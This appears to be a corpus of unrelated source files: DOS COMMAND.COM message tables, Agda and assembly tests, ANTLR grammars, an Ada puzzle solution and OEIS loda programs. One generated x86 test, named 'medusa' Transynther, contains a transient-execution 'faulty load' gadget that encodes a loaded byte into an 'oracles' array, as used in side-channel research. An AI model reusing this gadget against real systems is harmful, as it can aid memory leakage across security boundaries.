; VolMes_Ptr dw 1042 ;AN000;message number db 2 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:vol_drv ;AN000;offset of drive dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db 00000000b ;AN000;character db 128 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:CHARBUF ;AN000;offset of string dw 0 ;AN000;segment of arg db 2 ;AN000;second subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character ; "Volume Serial Number is %1-%2",13,10 ; VolSerMes_Ptr dw 1043 ;AN000;message number db 2 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:vol_serial+2 ;AN000;offset of serial dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Bin_Hex_Word ;AN000;binary to hex db 4 ;AN000;maximum width db 4 ;AN000;minimum width db "0" ;AN000;pad character db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:vol_serial ;AN000;offset of serial dw 0 ;AN000;segment of arg db 2 ;AN000;second subst db Right_Align+Bin_Hex_Word ;AN000;binary to hex db 4 ;AN000;maximum width db 4 ;AN000;minimum width db "0" ;AN000;pad character ; "Invalid directory",13,10 ; BadCD_Ptr dw 1044 ;AN000;message number db no_subst ;AN000;number of subst ; "Unable to create directory",13,10 ; BadMkD_Ptr dw 1045 ;AN000;message number db no_subst ;AN000;number of subst ; "Invalid path, not directory,",13,10 ; "or directory not empty",13,10 ; BadRmD_Ptr dw 1046 ;AN000;message number db no_subst ;AN000;number of subst ; "Must specify ON or OFF",13,10 ; Bad_ON_OFF_Ptr dw 1047 ;AN000;message number db no_subst ;AN000;number of subst ; "Directory of %1",13,10 ; DirHead_Ptr dw 1048 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:BWDBUF ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 0 ;AN000;minimum width db blank ;AN000;pad character ; "No Path",13,10 ; NulPath_Ptr dw 1049 ;AN000;message number db no_subst ;AN000;number of subst ; "Invalid drive in search path",13,10 ; BadPMes_Ptr dw 1050 ;AN000;message number db no_subst ;AN000;number of subst ; "Invalid device",13,10 ; BadDev_Ptr dw 1051 ;AN000;message number db no_subst ;AN000;number of subst ; "FOR cannot be nested",13,10 ; ForNestMes_Ptr dw 1052 ;AN000;message number db no_subst ;AN000;number of subst ; "Intermediate file error during pipe",13,10 ; PipeEMes_Ptr dw 1053 ;AN000;message number db no_subst ;AN000;number of subst ; "Cannot do binary reads from a device",13,10 ; InBDev_Ptr dw 1054 ;AN000;message number db no_subst ;AN000;number of subst ; "BREAK is %1",13,10 ; CtrlcMes_Ptr dw 1055 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw 0 ;AN000;offset of on/off (new) dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character ; "VERIFY is %1",13,10 ; VeriMes_Ptr dw 1056 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw 0 ;AN000;offset of on/off (new) dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character ; "ECHO is %1",13,10 ; EchoMes_Ptr dw 1057 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw 0 ;AN000;offset of on/off (new) dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 1 ;AN000;minimum width db blank ;AN000;pad character ; "off" ; OffMes_Ptr dw 1059 ;AN000;message number db no_subst ;AN000;number of subst ; "on" ; OnMes_Ptr dw 1060 ;AN000;message number db no_subst ;AN000;number of subst ; "Error writing to device",13,10 ; DevWMes_Ptr dw 1061 ;AN000;message number db no_subst ;AN000;number of subst ; "Invalid path",13,10 ; Inval_Path_Ptr dw 1062 ;AN000;message number db no_subst ;AN000;number of subst ; unformatted string output ; arg_Buf_Ptr dw 1063 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:Arg_Buf ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 0 ;AN000;minimum width db blank ;AN000;pad character ; file name output ; File_Name_Ptr dw 1064 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:SRCBUF ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 0 ;AN000;minimum width db blank ;AN000;pad character ; file size output for dir ; Disp_File_Size_Ptr dw 1065 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:File_size_low ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Right_Align+Unsgn_Bin_DWord ;AN000;long binary to decimal db 10 ;AN000;maximum width db 10 ;AN000;minimum width db blank ;AN000;pad character ; unformatted string output ; %s String_Buf_Ptr dw 1066 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:String_ptr_2 ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 0 ;AN000;minimum width db blank ;AN000;pad character db 0 ;AN000; ; tab character ; Tab_ptr dw 1067 ;AN000;message number db no_subst ;AN000;number of subst ; " <DIR> " ; DMes_Ptr dw 1068 ;AN000;message number db no_subst ;AN000;number of subst ; destructive back space ; Dback_Ptr dw 1069 ;AN000;message number db no_subst ;AN000;number of subst ; carriage return / line feed ; ACRLF_Ptr dw 1070 ;AN000;message number db no_subst ;AN000;number of subst ; output a single character ; ;One_Char_Buf_Ptr dw 1071 ;AN000;message number ; db 1 ;AN000;number of subst ; db parm_block_size ;AN000;size of sublist ; db 0 ;AN000;reserved ; dw OFFSET TranGroup:One_Char_Val ;AN000;offset of charcacter ; dw 0 ;AN000;segment of arg ; db 1 ;AN000;first subst ; db Char_field_Char ;AN000;character ; db 1 ;AN000;maximum width ; db 1 ;AN000;minimum width ; db blank ;AN000;pad character ; "mm-dd-yy" ; USADat_Ptr dw 1072 ;AN000;message number db no_subst ;AN000;number of subst ; "dd-mm-yy" ; EurDat_Ptr dw 1073 ;AN000;message number db no_subst ;AN000;number of subst ; "yy-mm-dd" ; JapDat_Ptr dw 1074 ;AN000;message number db no_subst ;AN000;number of subst ; date string for prompt ; promptDat_Ptr dw 1075 ;AN000;message number db 2 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:Arg_Buf ;AN000;offset of arg dw 0 ;AN000;segment of arg IFNDEF DBCS ; MSKK03 07/14/89 db 1 ;AN000;first subst ELSE IFDEF JAPAN db 2 ;AN000;first subst ELSE db 1 ;AN000;first subst ENDIF ENDIF db Char_field_ASCIIZ ;AN000;character string IFNDEF DBCS db 3 ;AN000;maximum width db 3 ;AN000;minimum width ELSE IFDEF JAPAN ; MSKK02 07/14/89 db 4 ;AN000;maximum width db 4 ;AN000;minimum width ENDIF IFDEF TAIWAN db 6 ;AN000;maximum width db 6 ;AN000;minimum width ENDIF IFDEF KOREA db 2 ;3 Keyl ;AN000;maximum width db 2 ;3 Keyl ;AN000;minimum width ENDIF ENDIF db blank ;AN000;pad character db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved promptDat_yr dw 0 ;AN000;year promptDat_moday dw 0 ;AN000;month,day IFNDEF DBCS ; MSKK03 07/14/89 db 2 ;AN000;second subst ELSE IFDEF JAPAN db 1 ;AN000;second subst ELSE db 2 ;AN000;second subst ENDIF ENDIF db DATE_MDY_4 ;AN000;date db 10 ;AN000;maximum width db 8 ;AN000;minimum width db blank ;AN000;pad character ; Time for prompt ; promTim_Ptr dw 1076 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved PromTim_hr_min dw 0 ;AN000;hours,minutes PromTim_Sec_hn dw 0 ;AN000;seconds,hundredths db 1 ;AN000;first subst db Right_Align+TIME_HHMMSSHH_24 ;AC013;time db 11 ;AN000;maximum width db 11 ;AC013;minimum width db blank ;AN000;pad character ; Date and time for DIR ; DirDatTim_Ptr dw 1077 ;AN000;message number db 2 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved DirDat_yr dw 0 ;AN000;year DirDat_mo_day dw 0 ;AN000;month,day db 1 ;AN000;first subst db Right_Align+DATE_MDY_2 ;AN000;date db 10 ;AN000;maximum width db 8 ;AN000;minimum width db blank ;AN000;pad character db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved DirTim_hr_min dw 0 ;AN000;hours,minutes DirTim_Sec_hn dw 0 ;AN000;seconds,hundredths db 2 ;AN000;second subst db Right_align+TIME_HHMM_Cty ;AN000;time db 6 ;AN000;maximum width db 6 ;AN000;minimum width db blank ;AN000;pad character ; "Directory already exists" ; MD_exists_ptr dw 1078 ;AN000;message number db no_subst ;AN000;number of subst ; "%1 bytes",13,10 ; Bytes_Ptr dw 1079 ; message number db 1 ; number of subst db parm_block_size ; size of sublist db 0 ; reserved dw OFFSET TranGroup:FileSiz ; offset of arg dw 0 ; segment of arg db 1 ; first subst db Right_Align+Unsgn_Bin_DWord ; long binary to decimal db 10 ; maximum width db 10 ; minimum width db blank ; pad character ; "Total:",13,10 ; Total_ptr dw 1080 ; message number db no_subst ; number of subst ; "Error parsing environment variable:",13,10 ; ErrParsEnv_ptr dw 1081 ; message number db no_subst ; number of subst ; "(continuing %1)",13,10 ; DirCont_Ptr dw 1084 ;AN000;message number db 1 ;AN000;number of subst db parm_block_size ;AN000;size of sublist db 0 ;AN000;reserved dw OFFSET TranGroup:BWDBUF ;AN000;offset of arg dw 0 ;AN000;segment of arg db 1 ;AN000;first subst db Char_field_ASCIIZ ;AN000;character string db 128 ;AN000;maximum width db 0 ;AN000;minimum width db blank ;AN000;pad character ; "Revision %1",CR,LF ; DosRev_Ptr dw 1090 db 1 ; one substitution db PARM_BLOCK_SIZE db 0 dw offset TRANGROUP:One_Char_Val ; ptr to char dw 0 ; segment addr? db 1 ; 1st substitution db CHAR_FIELD_CHAR ; character db 1 ; max width db 1 ; min width db BLANK ; pad char ; "DOS is in ROM" ; DosRom_Ptr dw 1091 db NO_SUBST ; "DOS is in HMA" ; DosHma_Ptr dw 1092 db NO_SUBST ; "DOS is in low memory" ; DosLow_Ptr dw 1093 db NO_SUBST ; "Cannot Loadhigh batch file" ;M016 ; NoExecBat_Ptr dw 1094 ; M016 db NO_SUBST ; M016 ; "LoadHigh: Invalid filename" ; M016 ; LhInvFil_Ptr dw 1095 ; M016 db NO_SUBST ; M016 ; "Could not open specified country information file" ;M045 ; NoCntry_Ptr dw 1096 ;M045 db NO_SUBST ;M045 PATH_TEXT DB "PATH=" PROMPT_TEXT DB "PROMPT=" COMSPECSTR DB "COMSPEC=" DirEnvVar DB "DIRCMD=" ; DIR's environment variable 
test/Succeed/ConstructorsInstance.agda
cruhland/agda
1,989
14990
<filename>test/Succeed/ConstructorsInstance.agda module ConstructorsInstance where record UnitRC : Set where instance constructor tt data UnitD : Set where instance tt : UnitD postulate fRC : {{_ : UnitRC}} → Set fD : {{_ : UnitD}} → Set tryRC : Set tryRC = fRC tryD : Set tryD = fD data D : Set where a : D instance b : D c : D postulate g : {{_ : D}} → Set -- This should work because instance search will choose [b] try2 : Set try2 = g
Projetos/F-Assembly/src/nasm/examples/testeLED.nasm
RaphaelAzev/Z01-GrupoH-2-
2
4470
<filename>Projetos/F-Assembly/src/nasm/examples/testeLED.nasm ;; valor inicial do led ;; RAM[1] = CNT leaw $0, %A movw %A, %D leaw $1, %A movw %D, (%A) ;; %D = RAM[1] = CNT ;; LED = CNT ;; RAM[1] = CNT + 1 LED: leaw $1, %A movw (%A), %D leaw $21184, %A movw %D, (%A) incw %D leaw $1, %A movw %D, (%A) ;; RAM[0] = 8 DELAY: leaw $8, %A movw %A, %D movw $0, %A movw %D, (%A) ;; conta ate 32k (2^15) ;; %S = 32k LOOP1: leaw $32000, %A movw %A, %S leaw $LOOP2, %A LOOP2: decw %S jg %S nop leaw $0, %A subw (%A), $1, %D movw %D, (%A) leaw %LOOP1, %A jg %D nop ;; retorna para atualizar o LED leaw $LED, %A jmp nop
jython/Neo4j/cyphersim/src/main/antlr4/org/cyphersim/Cypher.g4
nginth/Carnot-OWL
1
6834
<gh_stars>1-10 /** * Define a grammar called Cypher */ grammar Cypher; clauses : match (where)? returnClause #read | create #writenode | edgeMatch where edgeCreate #writeedge ; match : 'MATCH' relationshipChain; where : 'WHERE' boolExpression; returnClause : 'RETURN' returnList; create : 'CREATE' (node | relationshipChain); edgeMatch : 'MATCH' node ',' node; edgeCreate : 'CREATE' forwardNode node #forwardCreate | 'CREATE' node backwardNode #backCreate ; relationshipChain : forwardNode* node #forwardChain | node backwardNode* #backwardChain ; forwardNode : node forwardEdge; backwardNode : backwardEdge node; node : '(' ID ')' #identifierNode | '(' ID ':' ID ')' #labelNode | '(' ID? label* attrList? ')' #genericNode ; label : ':' ID ; attrList : '{' ( (assign ',')* assign )? '}' ; assign : ID ':' value ; forwardEdge : '-'+ '[' ID? ':' ID']' '-'+ '>' #fLabelEdge | '-'+ ('[' ID ']')? '-'+ '>' #fAllEdge ; backwardEdge : '<' '-'+ '[' ID? ':'ID']' '-'+ #bLabelEdge | '<' '-'+ ('[' ID? ']')? '-'+ #bAllEdge ; expression : property comparison value; boolExpression : expression (('AND' | 'OR') expression)*; property : ID ('.' ID)?; comparison : '=' | '<>' | '<' | '>' | '<=' | '>=' ; value : STRING | NUMBER | 'true' | 'TRUE' | 'false' | 'FALSE' | 'null' ; returnList: (property ',')* property; ID : [a-zA-Z_] [a-zA-Z0-9\-_]*; STRING : '\'' .*? '\''; NUMBER : '-'? INT '.' INT EXP? | '-'? INT EXP | '-'? INT ; fragment INT : '0' | [1-9][0-9]*; fragment EXP : [Ee] [+\-]? INT ; WS : [ \t\r\n]+ -> skip ;
day01/day01.adb
thorstel/Advent-of-Code-2018
2
9966
<reponame>thorstel/Advent-of-Code-2018 with Ada.Containers.Ordered_Sets; with Ada.Containers.Vectors; with Ada.Text_IO; use Ada.Containers; use Ada.Text_IO; procedure Day01 is package Integer_Sets is new Ordered_Sets (Element_Type => Integer); package Integer_Vectors is new Vectors (Index_Type => Natural, Element_Type => Integer); Frequency : Integer := 0; Seen_Frequs : Integer_Sets.Set; Inputs : Integer_Vectors.Vector; begin -- Parsing input file & Part 1 declare Input : Integer; File : File_Type; begin Open (File, In_File, "input.txt"); while not End_Of_File (File) loop Input := Integer'Value (Get_Line (File)); Frequency := Frequency + Input; Inputs.Append (Input); end loop; Close (File); end; Put_Line ("Part 1 =" & Integer'Image (Frequency)); -- Part 2 Seen_Frequs.Include (0); Frequency := 0; Infinite_Loop : loop for I in Inputs.Iterate loop Frequency := Frequency + Inputs (I); exit Infinite_Loop when Seen_Frequs.Contains (Frequency); Seen_Frequs.Include (Frequency); end loop; end loop Infinite_Loop; Put_Line ("Part 2 =" & Integer'Image (Frequency)); end Day01;
flo/Flo.g4
nickpeck/flo
0
5687
grammar Flo; CR : '\n'; COMMENT : '/*' .*? '*/' -> channel(HIDDEN); LINE_COMMENT : '//' ~('\n'|'\r')* '\r'? '\n' -> channel(HIDDEN); WHITESPACE : ( '\t' | ' ' | '\r' | CR| '\u000C' )+ -> channel(HIDDEN); //all numbers are represented by a single 'num' type in the grammar: NUMBER: [0-9]+('.'[0-9]+)? | ('.'[0-9]+) | [0]+ '.'[0-9]+ ; //operators; PLUS : '+'; MINUS : '-'; MULT : '*'; DIV : '/'; MOD : '%'; EQUALS : '='; EQUALITY: '=='; GTR: '>'; LESS: '<'; GTREQ: '>='; LESSEQ: '<='; NEGATION : '!'; BINDTO : '->'; PUTVALUE : '<-'; DOT : '.'; COLON: ':'; OR: 'or'; AND: 'and'; FILTER: '|'; JOIN: '&'; PLACEHOLDER: '?'; //punctuation LCB : '{'; RCB : '}'; LSB : '['; RSB : ']'; LPAREN : '('; RPAREN : ')'; COMMA : ','; //keywords DEC : 'dec'; MODULE: 'module'; COMPONENT: 'component'; NEW: 'new'; PUBLIC: 'public'; IMPORT: 'uses'; FROM: 'from'; AS: 'as'; SYNC: 'sync'; //primitaves STRING:('"' ~('"')* '"') | ('\'' ~('\'')* '\''); BOOL:'true' | 'false'; ID: ('a'..'z'|'A'..'Z'|'0'..'9'|'_')+ ; SPACE: ' '; //ERR_CHAR : . ; atom: STRING #string | NUMBER #number | BOOL #bool | (ID | PLACEHOLDER) #id | atom (DOT ID)+ #getAttrib | atom (LSB (NUMBER|STRING) RSB)+ #index | ( LPAREN compound_expression COMMA RPAREN | LPAREN compound_expression (COMMA compound_expression)+ RPAREN) #tuple | dictexpr #atom_dict; dictexpr: LCB STRING COLON atom (COMMA STRING COLON atom )* RCB; import_statement: (IMPORT ID (DOT ID)*) | (FROM ID (DOT ID)* IMPORT (ID)*) (AS ID)?; simpleDeclaration: ((PUBLIC)? ID (COLON ID (DOT ID)*)?) ; computedDeclaration: ((PUBLIC)? ID (COLON ID)? EQUALS compound_expression) ; computedLambdaDeclaration: ((PUBLIC)? ID (COLON ID)? COLON COLON compound_expression) ; filterDeclaration: ((PUBLIC)? ID (COLON ID)? EQUALS compound_expression_filter) ; joinDeclaration: ((PUBLIC)? ID (COLON ID)? EQUALS compound_expression_join) ; declaration: DEC ( LCB ( simpleDeclaration | computedDeclaration | filterDeclaration | joinDeclaration | computedLambdaDeclaration )+ RCB | (simpleDeclaration | computedDeclaration | filterDeclaration | joinDeclaration | computedLambdaDeclaration) ); compound_expression_join : compound_expression_comparison JOIN compound_expression_comparison ; compound_expression_filter : ID FILTER compound_expression_comparison ; compound_expression_not : compound_expression_paren | NEGATION compound_expression_comparison ; compound_expression_comparison : compound_expression_not ( GTR compound_expression_mult_div | LESS compound_expression_mult_div | GTREQ compound_expression_mult_div | LESSEQ compound_expression_mult_div | EQUALITY compound_expression_mult_div )* ; compound_expression_mult_div : compound_expression_comparison ( MULT compound_expression_plus_minus | DIV compound_expression_plus_minus | MOD compound_expression_plus_minus )* ; compound_expression_plus_minus : compound_expression_mult_div ( PLUS compound_expression_and | MINUS compound_expression_and )* ; compound_expression_and : compound_expression_plus_minus ( AND compound_expression_or )* ; compound_expression_or : compound_expression_and ( OR compound_expression_putvalue )* ; compound_expression_putvalue : compound_expression_or ( PUTVALUE compound_expression )* ; compound_expression: compound_expression_putvalue ( BINDTO compound_expression_putvalue )* ; compound_expression_paren : atom | LPAREN compound_expression RPAREN ; statement: compound_expression; sync_block: SYNC LCB (statement)* RCB; statements: (statement | sync_block)*; component: COMPONENT ID LCB (declaration)* statements RCB; repl_stmt: (import_statement)* (module | component | declaration)* statements; module: MODULE ID LCB repl_stmt RCB ;
Irvine/Examples/ch13/Printf_Example/asmMain_stub.asm
alieonsido/ASM_TESTING
0
174098
TITLE Stub program for asmMain (asmMain_stub.asm) ; Use this file as a starting point for creating a main ; ASM module called by C++. Its use is explained in the book ; in Section 12.3.4.1. .386 .model flat,stdcall .stack 2000 .code asmMain PROC C ret asmMain ENDP END
oeis/091/A091132.asm
neoneye/loda-programs
11
171074
<reponame>neoneye/loda-programs ; A091132: Decimal expansion of e^2 - 2e. ; Submitted by <NAME> ; 1,9,5,2,4,9,2,4,4,2,0,1,2,5,5,9,7,5,6,5,0,9,8,5,2,5,1,7,8,6,9,6,8,2,8,1,7,6,6,5,8,2,1,3,8,3,1,5,1,9,2,8,1,7,4,1,5,3,1,9,2,5,6,7,0,7,4,4,2,0,5,3,5,3,7,1,9,6,2,5,7,4,2,4,1,5,4,8,1,2,8,0,2,8,7,8,8,9,3,9 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mov $5,$3 add $5,1 mul $2,$5 add $1,$2 mov $5,$0 add $5,1 div $1,$5 div $2,$5 sub $3,1 lpe pow $1,2 pow $2,2 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 add $1,$4 mov $0,$1 mod $0,10
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1655.asm
ljhsiun2/medusa
9
243889
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x1e30b, %r11 nop nop nop nop xor $37098, %r10 movl $0x61626364, (%r11) nop nop nop nop nop and %rbp, %rbp lea addresses_normal_ht+0xf84c, %r11 sub %r10, %r10 movb (%r11), %bl nop nop nop nop cmp %r10, %r10 lea addresses_normal_ht+0x11ccb, %rsi lea addresses_normal_ht+0x18b43, %rdi nop nop nop lfence mov $107, %rcx rep movsq nop nop nop dec %rsi lea addresses_WT_ht+0x1cb0b, %rbp nop inc %rsi mov $0x6162636465666768, %r8 movq %r8, %xmm6 movups %xmm6, (%rbp) nop nop add $24532, %rbp pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %rax push %rbp push %rdx // Store mov $0xd0b, %r14 and %rbp, %rbp mov $0x5152535455565758, %r12 movq %r12, %xmm1 movups %xmm1, (%r14) nop nop nop and $8872, %r12 // Store lea addresses_A+0x1c10b, %r14 nop nop nop nop nop xor %r15, %r15 mov $0x5152535455565758, %r13 movq %r13, (%r14) nop nop nop add $30990, %rdx // Faulty Load lea addresses_D+0x12b0b, %r13 add %rbp, %rbp mov (%r13), %r14w lea oracles, %r15 and $0xff, %r14 shlq $12, %r14 mov (%r15,%r14,1), %r14 pop %rdx pop %rbp pop %rax pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 8}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 11}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
oeis/004/A004579.asm
neoneye/loda-programs
11
245686
; A004579: Expansion of sqrt(8) in base 4. ; Submitted by <NAME> ; 2,3,1,1,0,0,1,0,3,3,0,3,0,3,0,3,3,3,2,1,3,1,3,2,1,2,1,0,2,0,1,0,1,1,2,1,1,3,3,1,2,0,2,1,2,3,0,3,1,3,1,1,1,0,2,2,2,3,3,2,2,1,3,3,0,1,3,1,1,2,3,3,1,2,0,0,2,3,2,2,2,0,2,1,0,3,2,3,2,2,2,0,1,0,3,0,3,2,3,1 mov $1,1 mov $2,1 mov $3,$0 add $3,2 mov $4,$0 mul $4,2 mov $7,9 pow $7,$4 lpb $3 mov $4,$2 pow $4,2 mul $4,2 sub $4,1 mov $5,$1 pow $5,2 add $4,$5 mov $6,$1 mov $1,$4 mul $6,$2 mul $6,2 mov $2,$6 mov $8,$4 div $8,$7 max $8,1 div $1,$8 div $2,$8 sub $3,1 mov $9,8 lpe mul $1,2 sub $9,4 mov $3,$9 pow $3,$0 div $2,$3 div $1,$2 mod $1,$9 mov $0,$1
oeis/289/A289784.asm
neoneye/loda-programs
11
11625
; A289784: p-INVERT of the (4^n), where p(S) = 1 - S - S^2. ; Submitted by <NAME>(s1) ; 1,6,35,201,1144,6477,36557,205950,1158967,6517653,36638504,205911129,1157068585,6501305814,36527449211,205222232433,1152978556888,6477584595765,36391668781013,204450911709582,1148616498546991,6452981164440861,36253117007574920,203671410943797921,1144233475350257809,6428344470220159782,36114664200326539667,202893432868755821145,1139862276012598136632,6403785259607022627933,35976684092223839055389,202118236897481121567774,1135507134325077152057575,6379317707873553058730469 mov $1,1 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $3,4 add $3,$1 mul $1,5 add $1,$2 lpe mov $0,$1
test/Succeed/Issue4869.agda
cruhland/agda
1,989
14560
